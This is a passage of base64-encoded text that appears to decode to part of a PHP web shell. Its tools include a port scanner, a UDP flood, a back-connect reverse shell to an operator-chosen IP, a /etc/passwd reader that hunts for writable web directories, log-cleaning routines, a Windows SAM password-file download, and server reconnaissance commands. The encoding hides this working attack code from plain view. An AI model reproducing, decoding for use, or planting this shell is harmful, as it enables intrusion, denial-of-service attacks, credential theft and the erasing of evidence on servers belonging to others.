1haWwgc2VudC4nOw0KfQ0KDQovL3BvcnQgc2Nhbm5lcg0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsNCiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ3N0YXJ0J10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ2VuZCddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX0dFVFsnaG9zdCddKTsNCg0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX0dFVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9HRVRbJ3N0YXJ0J10pKXsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KCSRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KCWlmKCRmcCl7DQoJCWVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQoJfQ0KCWZsdXNoKCk7DQoJfQ0KfWVsc2V7DQo/Pg0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KSG9zdDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+DQpQb3J0IHN0YXJ0OjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPg0KUG9ydCBlbmQ6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+DQo8L2Zvcm0+DQo8P3BocA0KfQ0KDQovL1VEUA0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkmJmlzX251bWVyaWMoJF9HRVRbJ3RpbWUnXSkpew0KCSRwYWtpdHMgPSAwOw0KCWlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOw0KCXNldF90aW1lX2xpbWl0KDApOw0KCQ0KCSRleGVjX3RpbWUgPSAkX0dFVFsndGltZSddOw0KCQ0KCSR0aW1lID0gdGltZSgpOw0KCS8vcHJpbnQgIlN0YXJ0ZWQ6ICIudGltZSgnaDppOnMnKS4iPGJyPiI7DQoJJG1heF90aW1lID0gJHRpbWUrJGV4ZWNfdGltZTsNCg0KCSRob3N0ID0gJF9HRVRbJ2hvc3QnXTsNCgkNCglmb3IoJGk9MDskaTw2NTAwMDskaSsrKXsNCgkJCSRvdXQgLj0gJ1gnOw0KCX0NCgl3aGlsZSgxKXsNCgkkcGFraXRzKys7DQoJCQlpZih0aW1lKCkgPiAkbWF4X3RpbWUpew0KCQkJCQlicmVhazsNCgkJCX0NCgkJCSRyYW5kID0gcmFuZCgxLDY1MDAwKTsNCgkJCSRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7DQoJCQlpZigkZnApew0KCQkJCQlmd3JpdGUoJGZwLCAkb3V0KTsNCgkJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJfQ0KCWVjaG8gIjxicj48Yj5VRFAgRmxvb2Q8L2I+PGJyPkNvbXBsZXRlZCB3aXRoICRwYWtpdHMgKCIgLiByb3VuZCgoJHBha2l0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFraXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQgXG4iOw0KCWVjaG8gJzxicj48YnI+DQoJCTxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4NCgkJCTxmb3JtIGFjdGlvbj0/IG1ldGhvZD1HRVQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQkJSG9zdDogPGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0IHZhbHVlPWxvY2FsaG9zdD48YnI+DQoJCQlMZW5ndGggKHNlY29uZHMpOiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT48YnI+DQoJCQk8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7DQp9DQo/PjwvY2VudGVyPjw/cGhwDQp9DQoNCg0KDQoNCmlmICgkeCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAncGhwYmFjaycpIHsNCmVjaG8gIg0KPGI+VXNhZ2U6PC9iPiBuYyAtdnYgLWwgLXAgMjE8YnI+DQo8aHI+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz48YnI+DQpZb3VyIElQICYgUG9ydDo8YnI+DQo8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naXBpbScgc2l6ZT0nMTUnIHZhbHVlPScnPg0KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnR1bScgc2l6ZT0nNScgdmFsdWU9JzIxJz48YnI+PGJyPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0Nvbm5lY3QnPjxicj48YnI+DQo8aHI+DQo8L2Zvcm0+IjsNCg0KJGlwaW09JF9QT1NUWydpcGltJ107DQokcG9ydHVtPSRfUE9TVFsncG9ydHVtJ107DQppZiAoJGlwaW0gPD4gIiIpDQp7DQokbXVjeD1mc29ja29wZW4oJGlwaW0gLCAkcG9ydHVtICwgJGVycm5vLCAkZXJyc3RyICk7DQppZiAoISRtdWN4KXsNCiRyZXN1bHQgPSAiRXJyb3I6IGRpZG50IGNvbm5lY3QgISEhIjsNCn0NCmVsc2Ugew0KDQokemFtYXppbmcwPSJcbiI7DQoNCmZwdXRzICgkbXVjeCAsIlxuV2VsY29tZSBQSFB8QmFDSyBDb25uZWN0XG5cbiIpOw0KZnB1dHMoJG11Y3ggLCBzeXN0ZW0oInVuYW1lIC1hIikgLiR6YW1hemluZzAgKTsNCmZwdXRzKCRtdWN4ICwgc3lzdGVtKCJwd2QiKSAuJHphbWF6aW5nMCApOw0KZnB1dHMoJG11Y3ggLCBzeXN0ZW0oImlkIikgLiR6YW1hemluZzAuJHphbWF6aW5nMCApOw0Kd2hpbGUoIWZlb2YoJG11Y3gpKXsNCmZwdXRzICgkbXVjeCk7DQokb25lPSJbJCI7DQokdHdvPSJdIjsNCiRyZXN1bHQ9IGZnZXRzICgkbXVjeCwgODE5Mik7DQokbWVzc2FnZT1gJHJlc3VsdGA7DQpmcHV0cyAoJG11Y3gsICRvbmUuIHN5c3RlbSgid2hvYW1pIikgLiR0d28uICIgIiAuJG1lc3NhZ2UuIlxuIik7DQp9DQpmY2xvc2UgKCRtdWN4KTsNCn0NCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAnZmluZHdyJykgew0KDQokY291bnQ9MDsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KaWYgKCEkcGFzc3dkKSB7DQogICBlY2hvICJbLV0gTm8gQWNjZXNzIHRvIC9ldGMvcGFzc3dkXG5cciI7DQogICBleGl0Ow0KfQ0KJHBhdGhfdG9fcHVibGljPWFycmF5KCk7DQoNCmVjaG8gIjxodG1sPlxuXHIiOw0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KICAkc3RyPWZnZXRzKCRwYXNzd2QpOw0KICAgICRwb3M9c3RycG9zKCRzdHIsIjoiKTsNCiAgICAkdXNlcm5hbWU9c3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgICAkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQogICAgaWYgKCgkdXNlcm5hbWUhPSIiKSkgew0KICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7DQogICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7DQogICAgICAgICBpZiAoaXNfd3JpdGVhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgICAgJGNvdW50Kys7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+WzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT5SPC9mb250Pjxmb250IGNvbG9yPWdyZWVuPlc8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPl08L2ZvbnQ+ICIgLiAkZGlyeiAuICI8YnI+XG5cciI7DQogICAgICAgICB9DQogICAgICAgICBlbHNlIGVjaG8gIjxmb250IGNvbG9yPXJlZD5bPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPlI8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPl08L2ZvbnQ+ICIgLiAkZGlyeiAuICI8YnI+XG5cciI7DQogICAgICAgIH0NCiAgICB9DQp9DQplY2hvICJbK10gRm91bmQgIiAuIHNpemVvZigkcGF0aF90b19wdWJsaWMpIC4gIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllcy48YnI+PGJyPlxuXHJcblxyIjsNCg0KaWYgKHNpemVvZigkcGF0aF90b19wdWJsaWMpICE9ICcwJykgew0KICAgZm9yZWFjaCAoJHBhdGhfdG9fcHVibGljIGFzICRwYXRoKSB7DQogICAgICAgICAgIA0KICAgfQ0KICAgDQogICBlY2hvICJbK10gRm91bmQgIiAuICRjb3VudCAuICIgd3JpdGFibGUgZGlyZWN0b3JpZXMuXG5cciI7DQogICBlY2hvICI8L2h0bWw+IjsNCn0NCg0KZnVuY3Rpb24gcmVhZF9kaXIoJHBhdGgpIHsNCiAgIGdsb2JhbCAkY291bnQ7DQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQogICAgICAgICAkZHI9IiRwYXRoJGZpbGUvIjsNCiAgICAgICAgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykgYW5kIGlzX2RpcigkZHIpKSB7DQogICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRyKSBhbmQgaXNfd3JpdGVhYmxlKCRkcikpIHsNCiAgICAgICAgICAgICAgIGVjaG8gIltSV10gIiAuICRkciAuICI8YnI+XG5cciI7DQogICAgICAgICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJlYWRfZGlyKCRkcik7DQogICAgICAgICB9DQogICAgICB9DQogICB9DQp9DQoNCg0KDQp9DQoNCg0KaWYgKCRhY3QgPT0gJ3phcDInKSB7IC8vICpuaXggY2xlYW5lcg0KCWlmIChpc193cml0YWJsZSgnLicpKSB7DQoJCWNmKCRhY3QsICQkYWN0KTsgLy8gJ3RpcyBwdXJlIGlubm92YXRpb24gb2Ygb3B0aW1pemF0aW9uIDopDQoJCWNobW9kKCRhY3QsIDA3NzcpOw0KCQkkY21kID0gJy4vJy4kYWN0OyAvLyBrZWVwIHRoaXMgYmVmb3JlICRhY3QgPSAnY21kJzsNCgkJJGFjdCA9ICdjbWQnOw0KCQkkY21kX3R4dCA9ICcxJzsNCgl9ZWxzZXsNCgkJZWNobyAnRGlyZWN0b3J5IElzIE5vdCBXcml0YWJsZSE8YnI+JzsNCgl9DQp9DQppZiAoJGFjdCA9PSAnY2xlYXJsb2dzJykgeyAvLyB3aW5kb3dzIGNsZWFuZXJzDQoJaWYgKGlzX3dyaXRhYmxlKCcuJykpIHsNCgkJY2YoJGFjdC4nLmV4ZScsICQkYWN0KTsNCgkJY2htb2QoJGFjdC4nLmV4ZScsIDA3NzcpOw0KCQkkY21kID0gJGFjdC4nLmV4ZSc7DQoJCSRhY3QgPSAnY21kJzsNCgkJJGNtZF90eHQgPSAnMSc7DQoJfWVsc2V7DQoJCWVjaG8gJ0RpcmVjdG9yeSBJcyBOb3QgV3JpdGFibGUhPGJyPic7DQoJfQ0KfQ0KDQppZiAoJHggPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgY2Fwcml2OGV4aXQoKTt9DQppZiAoJHggPT0gInNlY3VyaXR5Iikgew0KICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj5bIFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiBdPC9kaXY+Ii4NCiAgICAgICAiPHRhYmxlPiIuDQogICAgICAgIjx0cj48dGQ+T3BlbiBCYXNlIERpcjwvdGQ+PHRkPiIuJGhvcGVuYmFzZWRpci4iPC90ZD48L3RyPiI7DQogIGVjaG8gIjx0ZD5QYXNzd29yZCBGaWxlPC90ZD48dGQ+IjsNCiAgaWYgKCEkd2luKSB7DQogICAgaWYgKCRuaXhwYXNzd2QpIHsNCiAgICAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9DQogICAgICBlY2hvICIqbml4IC9ldGMvcGFzc3dkOjxicj4iOw0KICAgICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfcykpIHskbml4cHdkX3MgPSAwO30NCiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7fQ0KICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJuaXhwYXNzd2RcIiB2YWx1ZT1cIjFcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuaXhwd2RfZVwiIHZhbHVlPVwiIi4kbml4cHdkX2UuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+PGJyPiI7DQogICAgICAkaSA9ICRuaXhwd2RfczsNCiAgICAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkgew0KICAgICAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgICAgICBpZiAoJHVpZCkgew0KICAgICAgICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsNCiAgICAgICAgICBlY2hvIGpvaW4oIjoiLCR1aWQpLiI8YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOw0KICAgIGlmIChmaWxlX2dldF9jb250ZW50cygkdikpIHtlY2hvICI8dGQgY29sc3Bhbj0yPjxkaXYgY2xhc3M9ZnhlcnJtc2c+WW91IGNhbid0IGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzKCIuJHYuIik8L2Rpdj48L3RkPjwvdHI+IjsgfQ0KICAgIGVsc2Uge2VjaG8gIllvdSBjYW4gY3JhY2sgV2luZG93cyBwYXNzd29yZHMuIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj1zYW0mZD0iLiRfU0VSVkVSWyJXSU5ESVIiXS4iXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48dT48Yj5Eb3dubG9hZDwvYj48L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srID8uPC90ZD48L3RyPiI7fQ0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj4iOw0KICBlY2hvICI8dHI+PHRkPkNvbmZpZyBGaWxlczwvdGQ+PHRkPiI7DQogIGlmICghJHdpbikgew0KICAgICR2ID0gYXJyYXkoDQogICAgICAgIGFycmF5KCJVc2VyIERvbWFpbnMiLCIvZXRjL3VzZXJkb21haW5zIiksDQogICAgICAgIGFycmF5KCJDcGFuZWwgQ29uZmlnIiwiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSwNCiAgICAgICAgYXJyYXkoIkFwYWNoZSBDb25maWciLCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiKSwNCiAgICAgICAgYXJyYXkoIkFwYWNoZSBDb25maWciLCIvZXRjL2h0dHBkLmNvbmYiKSwNCiAgICAgICAgYXJyYXkoIlN5c2xvZyBDb25maWciLCIvZXRjL3N5c2xvZy5jb25mIiksDQogICAgICAgIGFycmF5KCJNZXNzYWdlIG9mIFRoZSBEYXkiLCIvZXRjL21vdGQiKSwNCiAgICAgICAgYXJyYXkoIkhvc3RzIiwiL2V0Yy9ob3N0cyIpDQogICAgKTsNCiAgICAkc2VwID0gIi8iOw0KICB9DQogIGVsc2Ugew0KICAgICR3aW5kaXIgPSAkX1NFUlZFUlsiV0lORElSIl07DQogICAgJGV0Y2RpciA9ICR3aW5kaXIgLiAiXHN5c3RlbTMyXGRyaXZlcnNcZXRjXFwiOw0KICAgICR2ID0gYXJyYXkoDQogICAgICAgIGFycmF5KCJIb3N0cyIsJGV0Y2Rpci4iaG9zdHMiKSwNCiAgICAgICAgYXJyYXkoIkxvY2FsIE5ldHdvcmsgTWFwIiwkZXRjZGlyLiJuZXR3b3JrcyIpLA0KICAgICAgICBhcnJheSgiTE0gSG9zdHMiLCRldGNkaXIuImxtaG9zdHMuc2FtIiksDQogICAgKTsNCiAgICAkc2VwID0gIlxcIjsNCiAgfQ0KICBmb3JlYWNoICgkdiBhcyAkc2VjX2Fycikgew0KICAgICRzZWNfZiA9IHN1YnN0cihzdHJyY2hyKCRzZWNfYXJyWzFdLCAkc2VwKSwgMSk7DQogICAgJHNlY19kID0gcnRyaW0oJHNlY19hcnJbMV0sJHNlY19mKTsNCiAgICAkc2VjX2Z1bGwgPSAkc2VjX2QuJHNlY19mOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfZCwkc2VwKTsNCiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHNlY19mdWxsKSkgew0KICAgICAgZWNobyAiIFsgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSRzZWNfZiZkPSIudXJsZW5jb2RlKCRzZWNfZCkuIiZmdD10eHRcIj48dT48Yj4iLiRzZWNfYXJyWzBdLiI8L2I+PC91PjwvYT4gXSAiOw0KICAgIH0NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCg0KICBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHsNCiAgICBpZiAoIWVtcHR5KCR2YWx1ZSkpIHsNCiAgICAgIGVjaG8gIjx0cj48dGQ+Ii4kbmFtZS4iPC90ZD48dGQ+PHByZT4iLndvcmR3cmFwKCR2YWx1ZSwxMDApLiI8L3ByZT48L3RkPjwvdHI+IjsNCiAgICB9DQogIH0NCiAgaWYgKCEkd2luKSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiS2VybmVsIFZlcnNpb24iLG15c2hlbGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiQ1BVIEluZm8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiSEREIFNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTW91bnQgT3B0aW9ucyIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2ZzdGFiIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJseW54IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJsaW5rcyBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiR0VUIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oInBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIEFwYWNoZT8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7DQogIH0NCiAgZWxzZSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJ2ZXIiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLG15c2hlbGxleGVjKCJuZXQgYWNjb3VudHMiKSk7DQogIH0NCiAgZWNobyAiPC90YWJsZT5cbiI7DQp9DQppZiAoJHggPT0gIm1rZmlsZSIpIHsNCmlmICgkbWtmaWxlICE9ICRkKSB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWFkeSBleGlzdHMhIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkISI7fQ0KICBlbHNlIHskeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRta2ZpbGUpOyBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQ0KfQ0KZWxzZSB7JHggPSAkZHNwYWN0ID0gImxzIjt9DQp9DQppZiAoJHggPT0gImVuY29kZXIiKSB7DQplY2hvICI8c2NyaXB0IGxhbmd1YWdlPVwiamF2YXNjcmlwdFwiPmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+Ii4NCiAgICAgIjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ZW5jb2Rlcj4iLg0KICAgICAiPGNlbnRlcj48dGFibGUgY2xhc3M9Y29udGVudHM+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj00IGNsYXNzPWJhcmhlYWRlcj5bIEVuY29kZXIgXTwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0